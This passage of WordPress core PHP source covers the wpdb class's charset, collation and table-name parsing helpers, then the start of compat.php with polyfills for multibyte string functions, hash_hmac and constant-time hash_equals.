					'type'   => 'byte',
					'length' => 255,        // 2^8 - 1
				);

			case 'blob':
			case 'text':
				return array(
					'type'   => 'byte',
					'length' => 65535,      // 2^16 - 1
				);

			case 'mediumblob':
			case 'mediumtext':
				return array(
					'type'   => 'byte',
					'length' => 16777215,   // 2^24 - 1
				);

			case 'longblob':
			case 'longtext':
				return array(
					'type'   => 'byte',
					'length' => 4294967295, // 2^32 - 1
				);

			default:
				return false;
		}
	}

	/**
	 * Checks if a string is ASCII.
	 *
	 * The negative regex is faster for non-ASCII strings, as it allows
	 * the search to finish as soon as it encounters a non-ASCII character.
	 *
	 * @since 4.2.0
	 *
	 * @param string $input_string String to check.
	 * @return bool True if ASCII, false if not.
	 */
	protected function check_ascii( $input_string ) {
		if ( function_exists( 'mb_check_encoding' ) ) {
			if ( mb_check_encoding( $input_string, 'ASCII' ) ) {
				return true;
			}
		} elseif ( ! preg_match( '/[^\x00-\x7F]/', $input_string ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if the query is accessing a collation considered safe on the current version of MySQL.
	 *
	 * @since 4.2.0
	 *
	 * @param string $query The query to check.
	 * @return bool True if the collation is safe, false if it isn't.
	 */
	protected function check_safe_collation( $query ) {
		if ( $this->checking_collation ) {
			return true;
		}

		// We don't need to check the collation for queries that don't read data.
		$query = ltrim( $query, "\r\n\t (" );
		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) {
			return true;
		}

		// All-ASCII queries don't need extra checking.
		if ( $this->check_ascii( $query ) ) {
			return true;
		}

		$table = $this->get_table_from_query( $query );
		if ( ! $table ) {
			return false;
		}

		$this->checking_collation = true;
		$collation                = $this->get_table_charset( $table );
		$this->checking_collation = false;

		// Tables with no collation, or latin1 only, don't need extra checking.
		if ( false === $collation || 'latin1' === $collation ) {
			return true;
		}

		$table = strtolower( $table );
		if ( empty( $this->col_meta[ $table ] ) ) {
			return false;
		}

		// If any of the columns don't have one of these collations, it needs more confidence checking.
		$safe_collations = array(
			'utf8_bin',
			'utf8_general_ci',
			'utf8mb3_bin',
			'utf8mb3_general_ci',
			'utf8mb4_bin',
			'utf8mb4_general_ci',
		);

		foreach ( $this->col_meta[ $table ] as $col ) {
			if ( empty( $col->Collation ) ) {
				continue;
			}

			if ( ! in_array( $col->Collation, $safe_collations, true ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Strips any invalid characters based on value/charset pairs.
	 *
	 * @since 4.2.0
	 *
	 * @param array $data Array of value arrays. Each value array has the keys 'value', 'charset', and 'length'.
	 *                    An optional 'ascii' key can be set to false to avoid redundant ASCII checks.
	 * @return array|WP_Error The $data parameter, with invalid characters removed from each value.
	 *                        This works as a passthrough: any additional keys such as 'field' are
	 *                        retained in each value array. If we cannot remove invalid characters,
	 *                        a WP_Error object is returned.
	 */
	protected function strip_invalid_text( $data ) {
		$db_check_string = false;

		foreach ( $data as &$value ) {
			$charset = $value['charset'];

			if ( is_array( $value['length'] ) ) {
				$length                  = $value['length']['length'];
				$truncate_by_byte_length = 'byte' === $value['length']['type'];
			} else {
				$length = false;
				/*
				 * Since we have no length, we'll never truncate. Initialize the variable to false.
				 * True would take us through an unnecessary (for this case) codepath below.
				 */
				$truncate_by_byte_length = false;
			}

			// There's no charset to work with.
			if ( false === $charset ) {
				continue;
			}

			// Column isn't a string.
			if ( ! is_string( $value['value'] ) ) {
				continue;
			}

			$needs_validation = true;
			if (
				// latin1 can store any byte sequence.
				'latin1' === $charset
			||
				// ASCII is always OK.
				( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) )
			) {
				$truncate_by_byte_length = true;
				$needs_validation        = false;
			}

			if ( $truncate_by_byte_length ) {
				mbstring_binary_safe_encoding();
				if ( false !== $length && strlen( $value['value'] ) > $length ) {
					$value['value'] = substr( $value['value'], 0, $length );
				}
				reset_mbstring_encoding();

				if ( ! $needs_validation ) {
					continue;
				}
			}

			// utf8 can be handled by regex, which is a bunch faster than a DB lookup.
			if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) {
				$regex = '/
					(
						(?: [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
						|   [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
						|   \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
						|   [\xE1-\xEC][\x80-\xBF]{2}
						|   \xED[\x80-\x9F][\x80-\xBF]
						|   [\xEE-\xEF][\x80-\xBF]{2}';

				if ( 'utf8mb4' === $charset ) {
					$regex .= '
						|    \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
						|    [\xF1-\xF3][\x80-\xBF]{3}
						|    \xF4[\x80-\x8F][\x80-\xBF]{2}
					';
				}

				$regex         .= '){1,40}                          # ...one or more times
					)
					| .                                  # anything else
					/x';
				$value['value'] = preg_replace( $regex, '$1', $value['value'] );

				if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) {
					$value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' );
				}
				continue;
			}

			// We couldn't use any local conversions, send it to the DB.
			$value['db']     = true;
			$db_check_string = true;
		}
		unset( $value ); // Remove by reference.

		if ( $db_check_string ) {
			$queries = array();
			foreach ( $data as $col => $value ) {
				if ( ! empty( $value['db'] ) ) {
					// We're going to need to truncate by characters or bytes, depending on the length value we have.
					if ( isset( $value['length']['type'] ) && 'byte' === $value['length']['type'] ) {
						// Using binary causes LEFT() to truncate by bytes.
						$charset = 'binary';
					} else {
						$charset = $value['charset'];
					}

					if ( $this->charset ) {
						$connection_charset = $this->charset;
					} else {
						$connection_charset = mysqli_character_set_name( $this->dbh );
					}

					if ( is_array( $value['length'] ) ) {
						$length          = sprintf( '%.0f', $value['length']['length'] );
						$queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] );
					} elseif ( 'binary' !== $charset ) {
						// If we don't have a length, there's no need to convert binary - it will always return the same result.
						$queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] );
					}

					unset( $data[ $col ]['db'] );
				}
			}

			$sql = array();
			foreach ( $queries as $column => $query ) {
				if ( ! $query ) {
					continue;
				}

				$sql[] = $query . " AS x_$column";
			}

			$this->check_current_query = false;
			$row                       = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A );
			if ( ! $row ) {
				return new WP_Error( 'wpdb_strip_invalid_text_failure', __( 'Could not strip invalid text.' ) );
			}

			foreach ( array_keys( $data ) as $column ) {
				if ( isset( $row[ "x_$column" ] ) ) {
					$data[ $column ]['value'] = $row[ "x_$column" ];
				}
			}
		}

		return $data;
	}

	/**
	 * Strips any invalid characters from the query.
	 *
	 * @since 4.2.0
	 *
	 * @param string $query Query to convert.
	 * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails.
	 */
	protected function strip_invalid_text_from_query( $query ) {
		// We don't need to check the collation for queries that don't read data.
		$trimmed_query = ltrim( $query, "\r\n\t (" );
		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) {
			return $query;
		}

		$table = $this->get_table_from_query( $query );
		if ( $table ) {
			$charset = $this->get_table_charset( $table );
			if ( is_wp_error( $charset ) ) {
				return $charset;
			}

			// We can't reliably strip text from tables containing binary/blob columns.
			if ( 'binary' === $charset ) {
				return $query;
			}
		} else {
			$charset = $this->charset;
		}

		$data = array(
			'value'   => $query,
			'charset' => $charset,
			'ascii'   => false,
			'length'  => false,
		);

		$data = $this->strip_invalid_text( array( $data ) );
		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $data[0]['value'];
	}

	/**
	 * Strips any invalid characters from the string for a given table and column.
	 *
	 * @since 4.2.0
	 *
	 * @param string $table  Table name.
	 * @param string $column Column name.
	 * @param string $value  The text to check.
	 * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails.
	 */
	public function strip_invalid_text_for_column( $table, $column, $value ) {
		if ( ! is_string( $value ) ) {
			return $value;
		}

		$charset = $this->get_col_charset( $table, $column );
		if ( ! $charset ) {
			// Not a string column.
			return $value;
		} elseif ( is_wp_error( $charset ) ) {
			// Bail on real errors.
			return $charset;
		}

		$data = array(
			$column => array(
				'value'   => $value,
				'charset' => $charset,
				'length'  => $this->get_col_length( $table, $column ),
			),
		);

		$data = $this->strip_invalid_text( $data );
		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $data[ $column ]['value'];
	}

	/**
	 * Finds the first table name referenced in a query.
	 *
	 * @since 4.2.0
	 *
	 * @param string $query The query to search.
	 * @return string|false The table name found, or false if a table couldn't be found.
	 */
	protected function get_table_from_query( $query ) {
		// Remove characters that can legally trail the table name.
		$query = rtrim( $query, ';/-#' );

		// Allow (select...) union [...] style queries. Use the first query's table name.
		$query = ltrim( $query, "\r\n\t (" );

		// Strip everything between parentheses except nested selects.
		$query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query );

		// Quickly match most common queries.
		if ( preg_match(
			'/^\s*(?:'
				. 'SELECT.*?\s+FROM'
				. '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?'
				. '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?'
				. '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?'
				. '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?'
			. ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is',
			$query,
			$maybe
		) ) {
			return str_replace( '`', '', $maybe[1] );
		}

		// SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts'
		if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) {
			return $maybe[2];
		}

		/*
		 * SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%'
		 * This quoted LIKE operand seldom holds a full table name.
		 * It is usually a pattern for matching a prefix so we just
		 * strip the trailing % and unescape the _ to get 'wp_123_'
		 * which drop-ins can use for routing these SQL statements.
		 */
		if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) {
			return str_replace( '\\_', '_', $maybe[2] );
		}

		// Big pattern for the rest of the table-related queries.
		if ( preg_match(
			'/^\s*(?:'
				. '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM'
				. '|DESCRIBE|DESC|EXPLAIN|HANDLER'
				. '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?'
				. '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE'
				. '|TRUNCATE(?:\s+TABLE)?'
				. '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?'
				. '|ALTER(?:\s+IGNORE)?\s+TABLE'
				. '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?'
				. '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON'
				. '|DROP\s+INDEX.*\s+ON'
				. '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE'
				. '|(?:GRANT|REVOKE).*ON\s+TABLE'
				. '|SHOW\s+(?:.*FROM|.*TABLE)'
			. ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is',
			$query,
			$maybe
		) ) {
			return str_replace( '`', '', $maybe[1] );
		}

		return false;
	}

	/**
	 * Loads the column metadata from the last query.
	 *
	 * @since 3.5.0
	 */
	protected function load_col_info() {
		if ( $this->col_info ) {
			return;
		}

		$num_fields = mysqli_num_fields( $this->result );

		for ( $i = 0; $i < $num_fields; $i++ ) {
			$this->col_info[ $i ] = mysqli_fetch_field( $this->result );
		}
	}

	/**
	 * Retrieves column metadata from the last query.
	 *
	 * @since 0.71
	 *
	 * @param string $info_type  Optional. Possible values include 'name', 'table', 'def', 'max_length',
	 *                           'not_null', 'primary_key', 'multiple_key', 'unique_key', 'numeric',
	 *                           'blob', 'type', 'unsigned', 'zerofill'. Default 'name'.
	 * @param int    $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length.
	 *                           3: if the col is numeric. 4: col's type. Default -1.
	 * @return mixed Column results.
	 */
	public function get_col_info( $info_type = 'name', $col_offset = -1 ) {
		$this->load_col_info();

		if ( $this->col_info ) {
			if ( -1 === $col_offset ) {
				$i         = 0;
				$new_array = array();
				foreach ( (array) $this->col_info as $col ) {
					$new_array[ $i ] = $col->{$info_type};
					++$i;
				}
				return $new_array;
			} else {
				return $this->col_info[ $col_offset ]->{$info_type};
			}
		}
	}

	/**
	 * Starts the timer, for debugging purposes.
	 *
	 * @since 1.5.0
	 *
	 * @return true
	 */
	public function timer_start() {
		$this->time_start = microtime( true );
		return true;
	}

	/**
	 * Stops the debugging timer.
	 *
	 * @since 1.5.0
	 *
	 * @return float Total time spent on the query, in seconds.
	 */
	public function timer_stop() {
		return ( microtime( true ) - $this->time_start );
	}

	/**
	 * Wraps errors in a nice header and footer and dies.
	 *
	 * Will not die if wpdb::$show_errors is false.
	 *
	 * @since 1.5.0
	 *
	 * @param string $message    The error message.
	 * @param string $error_code Optional. A computer-readable string to identify the error.
	 *                           Default '500'.
	 * @return void|false Void if the showing of errors is enabled, false if disabled.
	 */
	public function bail( $message, $error_code = '500' ) {
		if ( $this->show_errors ) {
			$error = '';

			if ( $this->dbh instanceof mysqli ) {
				$error = mysqli_error( $this->dbh );
			} elseif ( mysqli_connect_errno() ) {
				$error = mysqli_connect_error();
			}

			if ( $error ) {
				$message = '<p><code>' . $error . "</code></p>\n" . $message;
			}

			wp_die( $message );
		} else {
			if ( class_exists( 'WP_Error', false ) ) {
				$this->error = new WP_Error( $error_code, $message );
			} else {
				$this->error = $message;
			}

			return false;
		}
	}

	/**
	 * Closes the current database connection.
	 *
	 * @since 4.5.0
	 *
	 * @return bool True if the connection was successfully closed,
	 *              false if it wasn't, or if the connection doesn't exist.
	 */
	public function close() {
		if ( ! $this->dbh ) {
			return false;
		}

		$closed = mysqli_close( $this->dbh );

		if ( $closed ) {
			$this->dbh           = null;
			$this->ready         = false;
			$this->has_connected = false;
		}

		return $closed;
	}

	/**
	 * Determines whether MySQL database is at least the required minimum version.
	 *
	 * @since 2.5.0
	 *
	 * @global string $wp_version             The WordPress version string.
	 * @global string $required_mysql_version The required MySQL version string.
	 * @return void|WP_Error
	 */
	public function check_database_version() {
		global $wp_version, $required_mysql_version;
		// Make sure the server has the required MySQL version.
		if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) {
			/* translators: 1: WordPress version number, 2: Minimum required MySQL version number. */
			return new WP_Error( 'database_version', sprintf( __( '<strong>Error:</strong> WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) );
		}
	}

	/**
	 * Determines whether the database supports collation.
	 *
	 * Called when WordPress is generating the table scheme.
	 *
	 * Use `wpdb::has_cap( 'collation' )`.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use wpdb::has_cap()
	 *
	 * @return bool True if collation is supported, false if not.
	 */
	public function supports_collation() {
		_deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' );
		return $this->has_cap( 'collation' );
	}

	/**
	 * Retrieves the database character collate.
	 *
	 * @since 3.5.0
	 *
	 * @return string The database character collate.
	 */
	public function get_charset_collate() {
		$charset_collate = '';

		if ( ! empty( $this->charset ) ) {
			$charset_collate = "DEFAULT CHARACTER SET $this->charset";
		}
		if ( ! empty( $this->collate ) ) {
			$charset_collate .= " COLLATE $this->collate";
		}

		return $charset_collate;
	}

	/**
	 * Determines whether the database or WPDB supports a particular feature.
	 *
	 * Capability sniffs for the database server and current version of WPDB.
	 *
	 * Database sniffs are based on the version of MySQL the site is using.
	 *
	 * WPDB sniffs are added as new features are introduced to allow theme and plugin
	 * developers to determine feature support. This is to account for drop-ins which may
	 * introduce feature support at a different time to WordPress.
	 *
	 * @since 2.7.0
	 * @since 4.1.0 Added support for the 'utf8mb4' feature.
	 * @since 4.6.0 Added support for the 'utf8mb4_520' feature.
	 * @since 6.2.0 Added support for the 'identifier_placeholders' feature.
	 *
	 * @see wpdb::db_version()
	 *
	 * @param string $db_cap The feature to check for. Accepts 'collation', 'group_concat',
	 *                       'subqueries', 'set_charset', 'utf8mb4', 'utf8mb4_520',
	 *                       or 'identifier_placeholders'.
	 * @return bool True when the database feature is supported, false otherwise.
	 */
	public function has_cap( $db_cap ) {
		$db_version     = $this->db_version();
		$db_server_info = $this->db_server_info();

		/*
		 * Account for MariaDB version being prefixed with '5.5.5-' on older PHP versions.
		 *
		 * Note: str_contains() is not used here, as this file can be included
		 * directly outside of WordPress core, e.g. by HyperDB, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
		if ( '5.5.5' === $db_version && false !== strpos( $db_server_info, 'MariaDB' )
			&& PHP_VERSION_ID < 80016 // PHP 8.0.15 or older.
		) {
			// Strip the '5.5.5-' prefix and set the version to the correct value.
			$db_server_info = preg_replace( '/^5\.5\.5-(.*)/', '$1', $db_server_info );
			$db_version     = preg_replace( '/[^0-9.].*/', '', $db_server_info );
		}

		switch ( strtolower( $db_cap ) ) {
			case 'collation':    // @since 2.5.0
			case 'group_concat': // @since 2.7.0
			case 'subqueries':   // @since 2.7.0
				return version_compare( $db_version, '4.1', '>=' );
			case 'set_charset':
				return version_compare( $db_version, '5.0.7', '>=' );
			case 'utf8mb4':      // @since 4.1.0
				if ( version_compare( $db_version, '5.5.3', '<' ) ) {
					return false;
				}

				$client_version = mysqli_get_client_info();

				/*
				 * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
				 * mysqlnd has supported utf8mb4 since 5.0.9.
				 *
				 * Note: str_contains() is not used here, as this file can be included
				 * directly outside of WordPress core, e.g. by HyperDB, in which case
				 * the polyfills from wp-includes/compat.php are not loaded.
				 */
				if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
					$client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version );
					return version_compare( $client_version, '5.0.9', '>=' );
				} else {
					return version_compare( $client_version, '5.5.3', '>=' );
				}
			case 'utf8mb4_520': // @since 4.6.0
				return version_compare( $db_version, '5.6', '>=' );
			case 'identifier_placeholders': // @since 6.2.0
				/*
				 * As of WordPress 6.2, wpdb::prepare() supports identifiers via '%i',
				 * e.g. table/field names.
				 */
				return true;
		}

		return false;
	}

	/**
	 * Retrieves a comma-separated list of the names of the functions that called wpdb.
	 *
	 * @since 2.5.0
	 *
	 * @return string Comma-separated list of the calling functions.
	 */
	public function get_caller() {
		return wp_debug_backtrace_summary( __CLASS__ );
	}

	/**
	 * Retrieves the database server version.
	 *
	 * @since 2.7.0
	 *
	 * @return string|null Version number on success, null on failure.
	 */
	public function db_version() {
		return preg_replace( '/[^0-9.].*/', '', $this->db_server_info() );
	}

	/**
	 * Returns the version of the MySQL server.
	 *
	 * @since 5.5.0
	 *
	 * @return string Server version as a string.
	 */
	public function db_server_info() {
		return mysqli_get_server_info( $this->dbh );
	}
}
<?php
/**
 * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
 *
 * @package PHP
 * @access private
 */

// If gettext isn't available.
if ( ! function_exists( '_' ) ) {
	function _( $message ) {
		return $message;
	}
}

/**
 * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
 *
 * @ignore
 * @since 4.2.2
 * @access private
 *
 * @param bool $set - Used for testing only
 *             null   : default - get PCRE/u capability
 *             false  : Used for testing - return false for future calls to this function
 *             'reset': Used for testing - restore default behavior of this function
 */
function _wp_can_use_pcre_u( $set = null ) {
	static $utf8_pcre = 'reset';

	if ( null !== $set ) {
		$utf8_pcre = $set;
	}

	if ( 'reset' === $utf8_pcre ) {
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support.
		$utf8_pcre = @preg_match( '/^./u', 'a' );
	}

	return $utf8_pcre;
}

if ( ! function_exists( 'mb_substr' ) ) :
	/**
	 * Compat function to mimic mb_substr().
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _mb_substr()
	 *
	 * @param string      $string   The string to extract the substring from.
	 * @param int         $start    Position to being extraction from in `$string`.
	 * @param int|null    $length   Optional. Maximum number of characters to extract from `$string`.
	 *                              Default null.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return string Extracted substring.
	 */
	function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_substr( $string, $start, $length, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_substr().
 *
 * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
 * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte
 * sequence. The behavior of this function for invalid inputs is undefined.
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string      $str      The string to extract the substring from.
 * @param int         $start    Position to being extraction from in `$str`.
 * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
 *                              Default null.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return string Extracted substring.
 */
function _mb_substr( $str, $start, $length = null, $encoding = null ) {
	if ( null === $str ) {
		return '';
	}

	if ( null === $encoding ) {
		$encoding = get_option( 'blog_charset' );
	}

	/*
	 * The solution below works only for UTF-8, so in case of a different
	 * charset just use built-in substr().
	 */
	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
	}

	if ( _wp_can_use_pcre_u() ) {
		// Use the regex unicode support to separate the UTF-8 characters into an array.
		preg_match_all( '/./us', $str, $match );
		$chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
		return implode( '', $chars );
	}

	$regex = '/(
		[\x00-\x7F]                  # single-byte sequences   0xxxxxxx
		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
		| [\xE1-\xEC][\x80-\xBF]{2}
		| \xED[\x80-\x9F][\x80-\xBF]
		| [\xEE-\xEF][\x80-\xBF]{2}
		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
		| [\xF1-\xF3][\x80-\xBF]{3}
		| \xF4[\x80-\x8F][\x80-\xBF]{2}
	)/x';

	// Start with 1 element instead of 0 since the first thing we do is pop.
	$chars = array( '' );

	do {
		// We had some string left over from the last round, but we counted it in that last round.
		array_pop( $chars );

		/*
		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
		 * the rest of the string).
		 */
		$pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );

		$chars = array_merge( $chars, $pieces );

		// If there's anything left over, repeat the loop.
	} while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) );

	return implode( '', array_slice( $chars, $start, $length ) );
}

if ( ! function_exists( 'mb_strlen' ) ) :
	/**
	 * Compat function to mimic mb_strlen().
	 *
	 * @ignore
	 * @since 4.2.0
	 *
	 * @see _mb_strlen()
	 *
	 * @param string      $string   The string to retrieve the character length from.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return int String length of `$string`.
	 */
	function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_strlen( $string, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_strlen().
 *
 * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
 * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte
 * sequence. The behavior of this function for invalid inputs is undefined.
 *
 * @ignore
 * @since 4.2.0
 *
 * @param string      $str      The string to retrieve the character length from.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return int String length of `$str`.
 */
function _mb_strlen( $str, $encoding = null ) {
	if ( null === $encoding ) {
		$encoding = get_option( 'blog_charset' );
	}

	/*
	 * The solution below works only for UTF-8, so in case of a different charset
	 * just use built-in strlen().
	 */
	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
		return strlen( $str );
	}

	if ( _wp_can_use_pcre_u() ) {
		// Use the regex unicode support to separate the UTF-8 characters into an array.
		preg_match_all( '/./us', $str, $match );
		return count( $match[0] );
	}

	$regex = '/(?:
		[\x00-\x7F]                  # single-byte sequences   0xxxxxxx
		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
		| [\xE1-\xEC][\x80-\xBF]{2}
		| \xED[\x80-\x9F][\x80-\xBF]
		| [\xEE-\xEF][\x80-\xBF]{2}
		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
		| [\xF1-\xF3][\x80-\xBF]{3}
		| \xF4[\x80-\x8F][\x80-\xBF]{2}
	)/x';

	// Start at 1 instead of 0 since the first thing we do is decrement.
	$count = 1;

	do {
		// We had some string left over from the last round, but we counted it in that last round.
		--$count;

		/*
		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
		 * the rest of the string).
		 */
		$pieces = preg_split( $regex, $str, 1000 );

		// Increment.
		$count += count( $pieces );

		// If there's anything left over, repeat the loop.
	} while ( $str = array_pop( $pieces ) );

	// Fencepost: preg_split() always returns one extra item in the array.
	return --$count;
}

if ( ! function_exists( 'hash_hmac' ) ) :
	/**
	 * Compat function to mimic hash_hmac().
	 *
	 * The Hash extension is bundled with PHP by default since PHP 5.1.2.
	 * However, the extension may be explicitly disabled on select servers.
	 * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no
	 * longer be disabled.
	 * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill
	 * and the associated `_hash_hmac()` function can be safely removed.
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _hash_hmac()
	 *
	 * @param string $algo   Hash algorithm. Accepts 'md5' or 'sha1'.
	 * @param string $data   Data to be hashed.
	 * @param string $key    Secret key to use for generating the hash.
	 * @param bool   $binary Optional. Whether to output raw binary data (true),
	 *                       or lowercase hexits (false). Default false.
	 * @return string|false The hash in output determined by `$binary`.
	 *                      False if `$algo` is unknown or invalid.
	 */
	function hash_hmac( $algo, $data, $key, $binary = false ) {
		return _hash_hmac( $algo, $data, $key, $binary );
	}
endif;

/**
 * Internal compat function to mimic hash_hmac().
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string $algo   Hash algorithm. Accepts 'md5' or 'sha1'.
 * @param string $data   Data to be hashed.
 * @param string $key    Secret key to use for generating the hash.
 * @param bool   $binary Optional. Whether to output raw binary data (true),
 *                       or lowercase hexits (false). Default false.
 * @return string|false The hash in output determined by `$binary`.
 *                      False if `$algo` is unknown or invalid.
 */
function _hash_hmac( $algo, $data, $key, $binary = false ) {
	$packs = array(
		'md5'  => 'H32',
		'sha1' => 'H40',
	);

	if ( ! isset( $packs[ $algo ] ) ) {
		return false;
	}

	$pack = $packs[ $algo ];

	if ( strlen( $key ) > 64 ) {
		$key = pack( $pack, $algo( $key ) );
	}

	$key = str_pad( $key, 64, chr( 0 ) );

	$ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) );
	$opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) );

	$hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) );

	if ( $binary ) {
		return pack( $pack, $hmac );
	}

	return $hmac;
}

if ( ! function_exists( 'hash_equals' ) ) :
	/**
	 * Timing attack safe string comparison.
	 *
	 * Compares two strings using the same time whether they're equal or not.
	 *
	 * Note: It can leak the length of a string when arguments of differing length are supplied.
	 *
	 * This function was added in PHP 5.6.
	 * However, the Hash extension may be explicitly disabled on select servers.
	 * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no
	 * longer be disabled.
	 * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill
	 * can be safely removed.
	 *
	 * @since 3.9.2
	 *
	 * @param string $known_string Expected string.
	 * @param string $user_string  Actual, user supplied, string.
	 * @return bool Whether strings are equal.
	 */
	function hash_equals( $known_string, $user_string ) {
		$known_string_length = strlen( $known_string );

		if ( strlen( $user_string ) !== $known_string_length ) {
			return false;
		}

		$result = 0;

		// Do not attempt to "optimize" this.
		for ( $i = 0; $i < $known_string_length; $i++ ) {
			$result |= ord( $known_string[ $i ] ) ^ ord( $user_string[ $i ] );
		}

		return 0 === $result;
	}
endif;

// sodium_crypto_box() was introduced in PHP 7.2.
if ( ! function_exists( 'sodium_crypto_box' ) ) {
	require ABSPATH . WPINC . '/sodium_compat/autoload.php';
}

if ( ! function_exists( 'is_countable' ) ) {
	/**
